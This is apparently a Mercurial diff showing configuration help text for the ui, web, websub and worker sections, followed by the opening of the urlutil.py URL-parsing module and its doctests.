2851 2851
2852 2852 ``patch``
2853 2853 An optional external tool that ``hg import`` and some extensions
2854 2854 will use for applying patches. By default Mercurial uses an
2855 2855 internal patch utility. The external tool must work as the common
2856 2856 Unix ``patch`` program. In particular, it must accept a ``-p``
2857 2857 argument to strip patch headers, a ``-d`` argument to specify the
2858 2858 current directory, a file name to patch, and a patch file to take
2859 2859 from stdin.
2860 2860
2861 2861 It is possible to specify a patch tool together with extra
2862 2862 arguments. For example, setting this option to ``patch --merge``
2863 2863 will use the ``patch`` program with its 2-way merge option.
2864 2864
2865 2865 ``portablefilenames``
2866 2866 Check for portable filenames. Can be ``warn``, ``ignore`` or ``abort``.
2867 2867 (default: ``warn``)
2868 2868
2869 2869 ``warn``
2870 2870 Print a warning message on POSIX platforms, if a file with a non-portable
2871 2871 filename is added (e.g. a file with a name that can't be created on
2872 2872 Windows because it contains reserved parts like ``AUX``, reserved
2873 2873 characters like ``:``, or would cause a case collision with an existing
2874 2874 file).
2875 2875
2876 2876 ``ignore``
2877 2877 Don't print a warning.
2878 2878
2879 2879 ``abort``
2880 2880 The command is aborted.
2881 2881
2882 2882 ``true``
2883 2883 Alias for ``warn``.
2884 2884
2885 2885 ``false``
2886 2886 Alias for ``ignore``.
2887 2887
2888 2888 .. container:: windows
2889 2889
2890 2890 On Windows, this configuration option is ignored and the command aborted.
2891 2891
2892 2892 ``pre-merge-tool-output-template``
2893 2893 (DEPRECATED) Use ``command-template.pre-merge-tool-output`` instead.
2894 2894
2895 2895 ``quiet``
2896 2896 Reduce the amount of output printed.
2897 2897 (default: False)
2898 2898
2899 2899 ``relative-paths``
2900 2900 Prefer relative paths in the UI.
2901 2901
2902 2902 ``remotecmd``
2903 2903 Remote command to use for clone/push/pull operations.
2904 2904 (default: ``hg``)
2905 2905
2906 2906 ``report_untrusted``
2907 2907 Warn if a ``.hg/hgrc`` file is ignored due to not being owned by a
2908 2908 trusted user or group.
2909 2909 (default: True)
2910 2910
2911 2911 ``slash``
2912 2912 (Deprecated. Use ``slashpath`` template filter instead.)
2913 2913
2914 2914 Display paths using a slash (``/``) as the path separator. This
2915 2915 only makes a difference on systems where the default path
2916 2916 separator is not the slash character (e.g. Windows uses the
2917 2917 backslash character (``\``)).
2918 2918 (default: False)
2919 2919
2920 2920 ``statuscopies``
2921 2921 Display copies in the status command.
2922 2922
2923 2923 ``ssh``
2924 2924 Command to use for SSH connections. (default: ``ssh``)
2925 2925
2926 2926 ``ssherrorhint``
2927 2927 A hint shown to the user in the case of SSH error (e.g.
2928 2928 ``Please see http://company/internalwiki/ssh.html``)
2929 2929
2930 2930 ``strict``
2931 2931 Require exact command names, instead of allowing unambiguous
2932 2932 abbreviations. (default: False)
2933 2933
2934 2934 ``style``
2935 2935 Name of style to use for command output.
2936 2936
2937 2937 ``supportcontact``
2938 2938 A URL where users should report a Mercurial traceback. Use this if you are a
2939 2939 large organisation with its own Mercurial deployment process and crash
2940 2940 reports should be addressed to your internal support.
2941 2941
2942 2942 ``textwidth``
2943 2943 Maximum width of help text. A longer line generated by ``hg help`` or
2944 2944 ``hg subcommand --help`` will be broken after white space to get this
2945 2945 width or the terminal width, whichever comes first.
2946 2946 A non-positive value will disable this and the terminal width will be
2947 2947 used. (default: 78)
2948 2948
2949 2949 ``timeout``
2950 2950 The timeout used when a lock is held (in seconds), a negative value
2951 2951 means no timeout. (default: 600)
2952 2952
2953 2953 ``timeout.warn``
2954 2954 Time (in seconds) before a warning is printed about held lock. A negative
2955 2955 value means no warning. (default: 0)
2956 2956
2957 2957 ``traceback``
2958 2958 Mercurial always prints a traceback when an unknown exception
2959 2959 occurs. Setting this to True will make Mercurial print a traceback
2960 2960 on all exceptions, even those recognized by Mercurial (such as
2961 2961 IOError or MemoryError). (default: False)
2962 2962
2963 2963 ``tweakdefaults``
2964 2964
2965 2965 By default Mercurial's behavior changes very little from release
2966 2966 to release, but over time the recommended config settings
2967 2967 shift. Enable this config to opt in to get automatic tweaks to
2968 2968 Mercurial's behavior over time. This config setting will have no
2969 2969 effect if ``HGPLAIN`` is set or ``HGPLAINEXCEPT`` is set and does
2970 2970 not include ``tweakdefaults``. (default: False)
2971 2971
2972 2972 It currently means::
2973 2973
2974 2974 .. tweakdefaultsmarker
2975 2975
2976 2976 ``username``
2977 2977 The committer of a changeset created when running "commit".
2978 2978 Typically a person's name and email address, e.g. ``Fred Widget
2979 2979 <fred@example.com>``. Environment variables in the
2980 2980 username are expanded.
2981 2981
2982 2982 (default: ``$EMAIL`` or ``username@hostname``. If the username in
2983 2983 hgrc is empty, e.g. if the system admin set ``username =`` in the
2984 2984 system hgrc, it has to be specified manually or in a different
2985 2985 hgrc file)
2986 2986
2987 2987 ``verbose``
2988 2988 Increase the amount of output printed. (default: False)
2989 2989
2990 2990
2991 2991 ``command-templates``
2992 2992 ---------------------
2993 2993
2994 2994 Templates used for customizing the output of commands.
2995 2995
2996 2996 ``graphnode``
2997 2997 The template used to print changeset nodes in an ASCII revision graph.
2998 2998 (default: ``{graphnode}``)
2999 2999
3000 3000 ``log``
3001 3001 Template string for commands that print changesets.
3002 3002
3003 3003 ``mergemarker``
3004 3004 The template used to print the commit description next to each conflict
3005 3005 marker during merge conflicts. See :hg:`help templates` for the template
3006 3006 format.
3007 3007
3008 3008 Defaults to showing the hash, tags, branches, bookmarks, author, and
3009 3009 the first line of the commit description.
3010 3010
3011 3011 If you use non-ASCII characters in names for tags, branches, bookmarks,
3012 3012 authors, and/or commit descriptions, you must pay attention to encodings of
3013 3013 managed files. At template expansion, non-ASCII characters use the encoding
3014 3014 specified by the ``--encoding`` global option, ``HGENCODING`` or other
3015 3015 environment variables that govern your locale. If the encoding of the merge
3016 3016 markers is different from the encoding of the merged files,
3017 3017 serious problems may occur.
3018 3018
3019 3019 Can be overridden per-merge-tool, see the ``[merge-tools]`` section.
3020 3020
3021 3021 ``oneline-summary``
3022 3022 A template used by `hg rebase` and other commands for showing a one-line
3023 3023 summary of a commit. If the template configured here is longer than one
3024 3024 line, then only the first line is used.
3025 3025
3026 3026 The template can be overridden per command by defining a template in
3027 3027 `oneline-summary.<command>`, where `<command>` can be e.g. "rebase".
3028 3028
3029 3029 ``pre-merge-tool-output``
3030 3030 A template that is printed before executing an external merge tool. This can
3031 3031 be used to print out additional context that might be useful to have during
3032 3032 the conflict resolution, such as the description of the various commits
3033 3033 involved or bookmarks/tags.
3034 3034
3035 3035 Additional information is available in the ``local`, ``base``, and ``other``
3036 3036 dicts. For example: ``{local.label}``, ``{base.name}``, or
3037 3037 ``{other.islink}``.
3038 3038
3039 3039
3040 3040 ``web``
3041 3041 -------
3042 3042
3043 3043 Web interface configuration. The settings in this section apply to
3044 3044 both the builtin webserver (started by :hg:`serve`) and the script you
3045 3045 run through a webserver (``hgweb.cgi`` and the derivatives for FastCGI
3046 3046 and WSGI).
3047 3047
3048 3048 The Mercurial webserver does no authentication (it does not prompt for
3049 3049 usernames and passwords to validate *who* users are), but it does do
3050 3050 authorization (it grants or denies access for *authenticated users*
3051 3051 based on settings in this section). You must either configure your
3052 3052 webserver to do authentication for you, or disable the authorization
3053 3053 checks.
3054 3054
3055 3055 For a quick setup in a trusted environment, e.g., a private LAN, where
3056 3056 you want it to accept pushes from anybody, you can use the following
3057 3057 command line::
3058 3058
3059 3059 $ hg --config web.allow-push=* --config web.push_ssl=False serve
3060 3060
3061 3061 Note that this will allow anybody to push anything to the server and
3062 3062 that this should not be used for public servers.
3063 3063
3064 3064 The full set of options is:
3065 3065
3066 3066 ``accesslog``
3067 3067 Where to output the access log. (default: stdout)
3068 3068
3069 3069 ``address``
3070 3070 Interface address to bind to. (default: all)
3071 3071
3072 3072 ``allow-archive``
3073 3073 List of archive format (bz2, gz, zip) allowed for downloading.
3074 3074 (default: empty)
3075 3075
3076 3076 ``allowbz2``
3077 3077 (DEPRECATED) Whether to allow .tar.bz2 downloading of repository
3078 3078 revisions.
3079 3079 (default: False)
3080 3080
3081 3081 ``allowgz``
3082 3082 (DEPRECATED) Whether to allow .tar.gz downloading of repository
3083 3083 revisions.
3084 3084 (default: False)
3085 3085
3086 3086 ``allow-pull``
3087 3087 Whether to allow pulling from the repository. (default: True)
3088 3088
3089 3089 ``allow-push``
3090 3090 Whether to allow pushing to the repository. If empty or not set,
3091 3091 pushing is not allowed. If the special value ``*``, any remote
3092 3092 user can push, including unauthenticated users. Otherwise, the
3093 3093 remote user must have been authenticated, and the authenticated
3094 3094 user name must be present in this list. The contents of the
3095 3095 allow-push list are examined after the deny_push list.
3096 3096
3097 3097 ``allow_read``
3098 3098 If the user has not already been denied repository access due to
3099 3099 the contents of deny_read, this list determines whether to grant
3100 3100 repository access to the user. If this list is not empty, and the
3101 3101 user is unauthenticated or not present in the list, then access is
3102 3102 denied for the user. If the list is empty or not set, then access
3103 3103 is permitted to all users by default. Setting allow_read to the
3104 3104 special value ``*`` is equivalent to it not being set (i.e. access
3105 3105 is permitted to all users). The contents of the allow_read list are
3106 3106 examined after the deny_read list.
3107 3107
3108 3108 ``allowzip``
3109 3109 (DEPRECATED) Whether to allow .zip downloading of repository
3110 3110 revisions. This feature creates temporary files.
3111 3111 (default: False)
3112 3112
3113 3113 ``archivesubrepos``
3114 3114 Whether to recurse into subrepositories when archiving.
3115 3115 (default: False)
3116 3116
3117 3117 ``baseurl``
3118 3118 Base URL to use when publishing URLs in other locations, so
3119 3119 third-party tools like email notification hooks can construct
3120 3120 URLs. Example: ``http://hgserver/repos/``.
3121 3121
3122 3122 ``cacerts``
3123 3123 Path to file containing a list of PEM encoded certificate
3124 3124 authority certificates. Environment variables and ``~user``
3125 3125 constructs are expanded in the filename. If specified on the
3126 3126 client, then it will verify the identity of remote HTTPS servers
3127 3127 with these certificates.
3128 3128
3129 3129 To disable SSL verification temporarily, specify ``--insecure`` from
3130 3130 command line.
3131 3131
3132 3132 You can use OpenSSL's CA certificate file if your platform has
3133 3133 one. On most Linux systems this will be
3134 3134 ``/etc/ssl/certs/ca-certificates.crt``. Otherwise you will have to
3135 3135 generate this file manually. The form must be as follows::
3136 3136
3137 3137 -----BEGIN CERTIFICATE-----
3138 3138 ... (certificate in base64 PEM encoding) ...
3139 3139 -----END CERTIFICATE-----
3140 3140 -----BEGIN CERTIFICATE-----
3141 3141 ... (certificate in base64 PEM encoding) ...
3142 3142 -----END CERTIFICATE-----
3143 3143
3144 3144 ``cache``
3145 3145 Whether to support caching in hgweb. (default: True)
3146 3146
3147 3147 ``certificate``
3148 3148 Certificate to use when running :hg:`serve`.
3149 3149
3150 3150 ``collapse``
3151 3151 With ``descend`` enabled, repositories in subdirectories are shown at
3152 3152 a single level alongside repositories in the current path. With
3153 3153 ``collapse`` also enabled, repositories residing at a deeper level than
3154 3154 the current path are grouped behind navigable directory entries that
3155 3155 lead to the locations of these repositories. In effect, this setting
3156 3156 collapses each collection of repositories found within a subdirectory
3157 3157 into a single entry for that subdirectory. (default: False)
3158 3158
3159 3159 ``comparisoncontext``
3160 3160 Number of lines of context to show in side-by-side file comparison. If
3161 3161 negative or the value ``full``, whole files are shown. (default: 5)
3162 3162
3163 3163 This setting can be overridden by a ``context`` request parameter to the
3164 3164 ``comparison`` command, taking the same values.
3165 3165
3166 3166 ``contact``
3167 3167 Name or email address of the person in charge of the repository.
3168 3168 (default: ui.username or ``$EMAIL`` or "unknown" if unset or empty)
3169 3169
3170 3170 ``csp``
3171 3171 Send a ``Content-Security-Policy`` HTTP header with this value.
3172 3172
3173 3173 The value may contain a special string ``%nonce%``, which will be replaced
3174 3174 by a randomly-generated one-time use value. If the value contains
3175 3175 ``%nonce%``, ``web.cache`` will be disabled, as caching undermines the
3176 3176 one-time property of the nonce. This nonce will also be inserted into
3177 3177 ``<script>`` elements containing inline JavaScript.
3178 3178
3179 3179 Note: lots of HTML content sent by the server is derived from repository
3180 3180 data. Please consider the potential for malicious repository data to
3181 3181 "inject" itself into generated HTML content as part of your security
3182 3182 threat model.
3183 3183
3184 3184 ``deny_push``
3185 3185 Whether to deny pushing to the repository. If empty or not set,
3186 3186 push is not denied. If the special value ``*``, all remote users are
3187 3187 denied push. Otherwise, unauthenticated users are all denied, and
3188 3188 any authenticated user name present in this list is also denied. The
3189 3189 contents of the deny_push list are examined before the allow-push list.
3190 3190
3191 3191 ``deny_read``
3192 3192 Whether to deny reading/viewing of the repository. If this list is
3193 3193 not empty, unauthenticated users are all denied, and any
3194 3194 authenticated user name present in this list is also denied access to
3195 3195 the repository. If set to the special value ``*``, all remote users
3196 3196 are denied access (rarely needed ;). If deny_read is empty or not set,
3197 3197 the determination of repository access depends on the presence and
3198 3198 content of the allow_read list (see description). If both
3199 3199 deny_read and allow_read are empty or not set, then access is
3200 3200 permitted to all users by default. If the repository is being
3201 3201 served via hgwebdir, denied users will not be able to see it in
3202 3202 the list of repositories. The contents of the deny_read list have
3203 3203 priority over (are examined before) the contents of the allow_read
3204 3204 list.
3205 3205
3206 3206 ``descend``
3207 3207 hgwebdir indexes will not descend into subdirectories. Only repositories
3208 3208 directly in the current path will be shown (other repositories are still
3209 3209 available from the index corresponding to their containing path).
3210 3210
3211 3211 ``description``
3212 3212 Textual description of the repository's purpose or contents.
3213 3213 (default: "unknown")
3214 3214
3215 3215 ``encoding``
3216 3216 Character encoding name. (default: the current locale charset)
3217 3217 Example: "UTF-8".
3218 3218
3219 3219 ``errorlog``
3220 3220 Where to output the error log. (default: stderr)
3221 3221
3222 3222 ``guessmime``
3223 3223 Control MIME types for raw download of file content.
3224 3224 Set to True to let hgweb guess the content type from the file
3225 3225 extension. This will serve HTML files as ``text/html`` and might
3226 3226 allow cross-site scripting attacks when serving untrusted
3227 3227 repositories. (default: False)
3228 3228
3229 3229 ``hidden``
3230 3230 Whether to hide the repository in the hgwebdir index.
3231 3231 (default: False)
3232 3232
3233 3233 ``ipv6``
3234 3234 Whether to use IPv6. (default: False)
3235 3235
3236 3236 ``labels``
3237 3237 List of string *labels* associated with the repository.
3238 3238
3239 3239 Labels are exposed as a template keyword and can be used to customize
3240 3240 output. e.g. the ``index`` template can group or filter repositories
3241 3241 by labels and the ``summary`` template can display additional content
3242 3242 if a specific label is present.
3243 3243
3244 3244 ``logoimg``
3245 3245 File name of the logo image that some templates display on each page.
3246 3246 The file name is relative to ``staticurl``. That is, the full path to
3247 3247 the logo image is "staticurl/logoimg".
3248 3248 If unset, ``hglogo.png`` will be used.
3249 3249
3250 3250 ``logourl``
3251 3251 Base URL to use for logos. If unset, ``https://mercurial-scm.org/``
3252 3252 will be used.
3253 3253
3254 3254 ``maxchanges``
3255 3255 Maximum number of changes to list on the changelog. (default: 10)
3256 3256
3257 3257 ``maxfiles``
3258 3258 Maximum number of files to list per changeset. (default: 10)
3259 3259
3260 3260 ``maxshortchanges``
3261 3261 Maximum number of changes to list on the shortlog, graph or filelog
3262 3262 pages. (default: 60)
3263 3263
3264 3264 ``name``
3265 3265 Repository name to use in the web interface.
3266 3266 (default: current working directory)
3267 3267
3268 3268 ``port``
3269 3269 Port to listen on. (default: 8000)
3270 3270
3271 3271 ``prefix``
3272 3272 Prefix path to serve from. (default: '' (server root))
3273 3273
3274 3274 ``push_ssl``
3275 3275 Whether to require that inbound pushes be transported over SSL to
3276 3276 prevent password sniffing. (default: True)
3277 3277
3278 3278 ``refreshinterval``
3279 3279 How frequently directory listings re-scan the filesystem for new
3280 3280 repositories, in seconds. This is relevant when wildcards are used
3281 3281 to define paths. Depending on how much filesystem traversal is
3282 3282 required, refreshing may negatively impact performance.
3283 3283
3284 3284 Values less than or equal to 0 always refresh.
3285 3285 (default: 20)
3286 3286
3287 3287 ``server-header``
3288 3288 Value for HTTP ``Server`` response header.
3289 3289
3290 3290 ``static``
3291 3291 Directory where static files are served from.
3292 3292
3293 3293 ``staticurl``
3294 3294 Base URL to use for static files. If unset, static files (e.g. the
3295 3295 hgicon.png favicon) will be served by the CGI script itself. Use
3296 3296 this setting to serve them directly with the HTTP server.
3297 3297 Example: ``http://hgserver/static/``.
3298 3298
3299 3299 ``stripes``
3300 3300 How many lines a "zebra stripe" should span in multi-line output.
3301 3301 Set to 0 to disable. (default: 1)
3302 3302
3303 3303 ``style``
3304 3304 Which template map style to use. The available options are the names of
3305 3305 subdirectories in the HTML templates path. (default: ``paper``)
3306 3306 Example: ``monoblue``.
3307 3307
3308 3308 ``templates``
3309 3309 Where to find the HTML templates. The default path to the HTML templates
3310 3310 can be obtained from ``hg debuginstall``.
3311 3311
3312 3312 ``websub``
3313 3313 ----------
3314 3314
3315 3315 Web substitution filter definition. You can use this section to
3316 3316 define a set of regular expression substitution patterns which
3317 3317 let you automatically modify the hgweb server output.
3318 3318
3319 3319 The default hgweb templates only apply these substitution patterns
3320 3320 on the revision description fields. You can apply them anywhere
3321 3321 you want when you create your own templates by adding calls to the
3322 3322 "websub" filter (usually after calling the "escape" filter).
3323 3323
3324 3324 This can be used, for example, to convert issue references to links
3325 3325 to your issue tracker, or to convert "markdown-like" syntax into
3326 3326 HTML (see the examples below).
3327 3327
3328 3328 Each entry in this section names a substitution filter.
3329 3329 The value of each entry defines the substitution expression itself.
3330 3330 The websub expressions follow the old interhg extension syntax,
3331 3331 which in turn imitates the Unix sed replacement syntax::
3332 3332
3333 3333 patternname = s/SEARCH_REGEX/REPLACE_EXPRESSION/[i]
3334 3334
3335 3335 You can use any separator other than "/". The final "i" is optional
3336 3336 and indicates that the search must be case insensitive.
3337 3337
3338 3338 Examples::
3339 3339
3340 3340 [websub]
3341 3341 issues = s|issue(\d+)|<a href="http://bts.example.org/issue\1">issue\1</a>|i
3342 3342 italic = s/\b_(\S+)_\b/<i>\1<\/i>/
3343 3343 bold = s/\*\b(\S+)\b\*/<b>\1<\/b>/
3344 3344
3345 3345 ``worker``
3346 3346 ----------
3347 3347
3348 3348 Parallel master/worker configuration. We currently perform working
3349 3349 directory updates in parallel on Unix-like systems, which greatly
3350 3350 helps performance.
3351 3351
3352 3352 ``enabled``
3353 3353 Whether to enable workers code to be used.
3354 3354 (default: true)
3355 3355
3356 3356 ``numcpus``
3357 3357 Number of CPUs to use for parallel operations. A zero or
3358 3358 negative value is treated as ``use the default``.
3359 3359 (default: 4 or the number of CPUs on the system, whichever is larger)
3360 3360
3361 3361 ``backgroundclose``
3362 3362 Whether to enable closing file handles on background threads during certain
3363 3363 operations. Some platforms aren't very efficient at closing file
3364 3364 handles that have been written or appended to. By performing file closing
3365 3365 on background threads, file write rate can increase substantially.
3366 3366 (default: true on Windows, false elsewhere)
3367 3367
3368 3368 ``backgroundcloseminfilecount``
3369 3369 Minimum number of files required to trigger background file closing.
3370 3370 Operations not writing this many files won't start background close
3371 3371 threads.
3372 3372 (default: 2048)
3373 3373
3374 3374 ``backgroundclosemaxqueue``
3375 3375 The maximum number of opened file handles waiting to be closed in the
3376 3376 background. This option only has an effect if ``backgroundclose`` is
3377 3377 enabled.
3378 3378 (default: 384)
3379 3379
3380 3380 ``backgroundclosethreadcount``
3381 3381 Number of threads to process background file closes. Only relevant if
3382 3382 ``backgroundclose`` is enabled.
3383 3383 (default: 4)
@@ -1,960 +1,962 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27 from ..revlogutils import (
28 28 constants as revlog_constants,
29 29 )
30 30
31 31
32 32 if pycompat.TYPE_CHECKING:
33 33 from typing import (
34 34 Union,
35 35 )
36 36
37 37 urlreq = urllibcompat.urlreq
38 38
39 39
40 40 def getport(port):
41 41 # type: (Union[bytes, int]) -> int
42 42 """Return the port for a given network service.
43 43
44 44 If port is an integer, it's returned as is. If it's a string, it's
45 45 looked up using socket.getservbyname(). If there's no matching
46 46 service, error.Abort is raised.
47 47 """
48 48 try:
49 49 return int(port)
50 50 except ValueError:
51 51 pass
52 52
53 53 try:
54 54 return socket.getservbyname(pycompat.sysstr(port))
55 55 except socket.error:
56 56 raise error.Abort(
57 57 _(b"no port number associated with service '%s'") % port
58 58 )
59 59
60 60
61 61 class url:
62 62 r"""Reliable URL parser.
63 63
64 64 This parses URLs and provides attributes for the following
65 65 components:
66 66
67 67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68 68
69 69 Missing components are set to None. The only exception is
70 70 fragment, which is set to '' if present but empty.
71 71
72 72 If parsefragment is False, fragment is included in query. If
73 73 parsequery is False, query is included in path. If both are
74 74 False, both fragment and query are included in path.
75 75
76 76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77 77
78 78 Note that for backward compatibility reasons, bundle URLs do not
79 79 take host names. That means 'bundle://../' has a path of '../'.
80 80
81 81 Examples:
82 82
83 83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 87 >>> url(b'file:///home/joe/repo')
88 88 <url scheme: 'file', path: '/home/joe/repo'>
89 89 >>> url(b'file:///c:/temp/foo/')
90 90 <url scheme: 'file', path: 'c:/temp/foo/'>
91 91 >>> url(b'bundle:foo')
92 92 <url scheme: 'bundle', path: 'foo'>
93 93 >>> url(b'bundle://../foo')
94 94 <url scheme: 'bundle', path: '../foo'>
95 95 >>> url(br'c:\foo\bar')
96 96 <url path: 'c:\\foo\\bar'>
97 97 >>> url(br'\\blah\blah\blah')
98 98 <url path: '\\\\blah\\blah\\blah'>
99 99 >>> url(br'\\blah\blah\blah#baz')
100 100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 101 >>> url(br'file:///C:\users\me')
102 102 <url scheme: 'file', path: 'C:\\users\\me'>
103 103
104 104 Authentication credentials:
105 105
106 106 >>> url(b'ssh://joe:xyz@x/repo')
107 107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 108 >>> url(b'ssh://joe@x/repo')
109 109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110 110
111 111 Query strings and fragments:
112 112
113 113 >>> url(b'http://host/a?b#c')
114 114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117 117
118 118 Empty path:
119 119
120 120 >>> url(b'')
121 121 <url path: ''>
122 122 >>> url(b'#a')
123 123 <url path: '', fragment: 'a'>
124 124 >>> url(b'http://host/')
125 125 <url scheme: 'http', host: 'host', path: ''>
126 126 >>> url(b'http://host/#a')
127 127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128 128
129 129 Only scheme:
130 130
131 131 >>> url(b'http:')
132 132 <url scheme: 'http'>
133 133 """
134 134
135 135 _safechars = b"!~*'()+"
136 136 _safepchars = b"/!~*'()+:\\"
137 137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138 138
139 139 def __init__(self, path, parsequery=True, parsefragment=True):
140 140 # type: (bytes, bool, bool) -> None
141 141 # We slowly chomp away at path until we have only the path left
142 142 self.scheme = self.user = self.passwd = self.host = None
143 143 self.port = self.path = self.query = self.fragment = None
144 144 self._localpath = True
145 145 self._hostport = b''
146 146 self._origpath = path
147 147
148 148 if parsefragment and b'#' in path:
149 149 path, self.fragment = path.split(b'#', 1)
150 150
151 151 # special case for Windows drive letters and UNC paths
152 152 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 153 self.path = path
154 154 return
155 155
156 156 # For compatibility reasons, we can't handle bundle paths as
157 157 # normal URLS
158 158 if path.startswith(b'bundle:'):
159 159 self.scheme = b'bundle'
160 160 path = path[7:]
161 161 if path.startswith(b'//'):
162 162 path = path[2:]
163 163 self.path = path
164 164 return
165 165
166 166 if self._matchscheme(path):
167 167 parts = path.split(b':', 1)
168 168 if parts[0]:
169 169 self.scheme, path = parts
170 170 self._localpath = False
171 171
172 172 if not path:
173 173 path = None
174 174 if self._localpath:
175 175 self.path = b''
176 176 return
177 177 else:
178 178 if self._localpath:
179 179 self.path = path
180 180 return
181 181
182 182 if parsequery and b'?' in path:
183 183 path, self.query = path.split(b'?', 1)
184 184 if not path:
185 185 path = None
186 186 if not self.query:
187 187 self.query = None
188 188
189 189 # // is required to specify a host/authority
190 190 if path and path.startswith(b'//'):
191 191 parts = path[2:].split(b'/', 1)
192 192 if len(parts) > 1:
193 193 self.host, path = parts
194 194 else:
195 195 self.host = parts[0]
196 196 path = None
197 197 if not self.host:
198 198 self.host = None
199 199 # path of file:///d is /d
200 200 # path of file:///d:/ is d:/, not /d:/
201 201 if path and not hasdriveletter(path):
202 202 path = b'/' + path
203 203
204 204 if self.host and b'@' in self.host:
205 205 self.user, self.host = self.host.rsplit(b'@', 1)
206 206 if b':' in self.user:
207 207 self.user, self.passwd = self.user.split(b':', 1)
208 208 if not self.host:
209 209 self.host = None
210 210
211 211 # Don't split on colons in IPv6 addresses without ports
212 212 if (
213 213 self.host
214 214 and b':' in self.host
215 215 and not (
216 216 self.host.startswith(b'[') and self.host.endswith(b']')
217 217 )
218 218 ):
219 219 self._hostport = self.host
220 220 self.host, self.port = self.host.rsplit(b':', 1)
221 221 if not self.host:
222 222 self.host = None
223 223
224 224 if (
225 225 self.host
226 226 and self.scheme == b'file'
227 227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 228 ):
229 229 raise error.Abort(
230 230 _(b'file:// URLs can only refer to localhost')
231 231 )
232 232
233 233 self.path = path
234 234
235 235 # leave the query string escaped
236 236 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
237 237 v = getattr(self, a)
238 238 if v is not None:
239 239 setattr(self, a, urlreq.unquote(v))
240 240
241 241 def copy(self):
242 242 u = url(b'temporary useless value')
243 243 u.path = self.path
244 244 u.scheme = self.scheme
245 245 u.user = self.user
246 246 u.passwd = self.passwd
247 247 u.host = self.host
248 248 u.port = self.port
249 249 u.query = self.query
250 250 u.fragment = self.fragment
251 251 u._localpath = self._localpath
252 252 u._hostport = self._hostport
253 253 u._origpath = self._origpath
254 254 return u
255 255
256 256 @encoding.strmethod
257 257 def __repr__(self):
258 258 attrs = []
259 259 for a in (
260 260 b'scheme',
261 261 b'user',
262 262 b'passwd',
263 263 b'host',
264 264 b'port',
265 265 b'path',
266 266 b'query',
267 267 b'fragment',
268 268 ):
269 269 v = getattr(self, a)
270 270 if v is not None:
271 271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
272 272 return b'<url %s>' % b', '.join(attrs)
273 273
274 274 def __bytes__(self):
275 275 r"""Join the URL's components back into a URL string.
276 276
277 277 Examples:
278 278
279 279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
280 280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
281 281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
282 282 'http://user:pw@host:80/?foo=bar&baz=42'
283 283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
284 284 'http://user:pw@host:80/?foo=bar%3dbaz'
285 285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
286 286 'ssh://user:pw@[::1]:2200//home/joe#'
287 287 >>> bytes(url(b'http://localhost:80//'))
288 288 'http://localhost:80//'
289 289 >>> bytes(url(b'http://localhost:80/'))
290 290 'http://localhost:80/'
291 291 >>> bytes(url(b'http://localhost:80'))
292 292 'http://localhost:80/'
293 293 >>> bytes(url(b'bundle:foo'))
294 294 'bundle:foo'
295 295 >>> bytes(url(b'bundle://../foo'))
296 296 'bundle:../foo'
297 297 >>> bytes(url(b'path'))
298 298 'path'
299 299 >>> bytes(url(b'file:///tmp/foo/bar'))
300 300 'file:///tmp/foo/bar'
301 301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
302 302 'file:///c:/tmp/foo/bar'
303 303 >>> print(url(br'bundle:foo\bar'))
304 304 bundle:foo\bar
305 305 >>> print(url(br'file:///D:\data\hg'))
306 306 file:///D:\data\hg
307 307 """
308 308 if self._localpath:
309 309 s = self.path
310 310 if self.scheme == b'bundle':
311 311 s = b'bundle:' + s
312 312 if self.fragment:
313 313 s += b'#' + self.fragment
314 314 return s
315 315
316 316 s = self.scheme + b':'
317 317 if self.user or self.passwd or self.host:
318 318 s += b'//'
319 319 elif self.scheme and (
320 320 not self.path
321 321 or self.path.startswith(b'/')
322 322 or hasdriveletter(self.path)
323 323 ):
324 324 s += b'//'
325 325 if hasdriveletter(self.path):
326 326 s += b'/'
327 327 if self.user:
328 328 s += urlreq.quote(self.user, safe=self._safechars)
329 329 if self.passwd:
330 330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
331 331 if self.user or self.passwd:
332 332 s += b'@'
333 333 if self.host:
334 334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
335 335 s += urlreq.quote(self.host)
336 336 else:
337 337 s += self.host
338 338 if self.port:
339 339 s += b':' + urlreq.quote(self.port)
340 340 if self.host:
341 341 s += b'/'
342 342 if self.path:
343 343 # TODO: similar to the query string, we should not unescape the
344 344 # path when we store it, the path might contain '%2f' = '/',
345 345 # which we should *not* escape.
346 346 s += urlreq.quote(self.path, safe=self._safepchars)
347 347 if self.query:
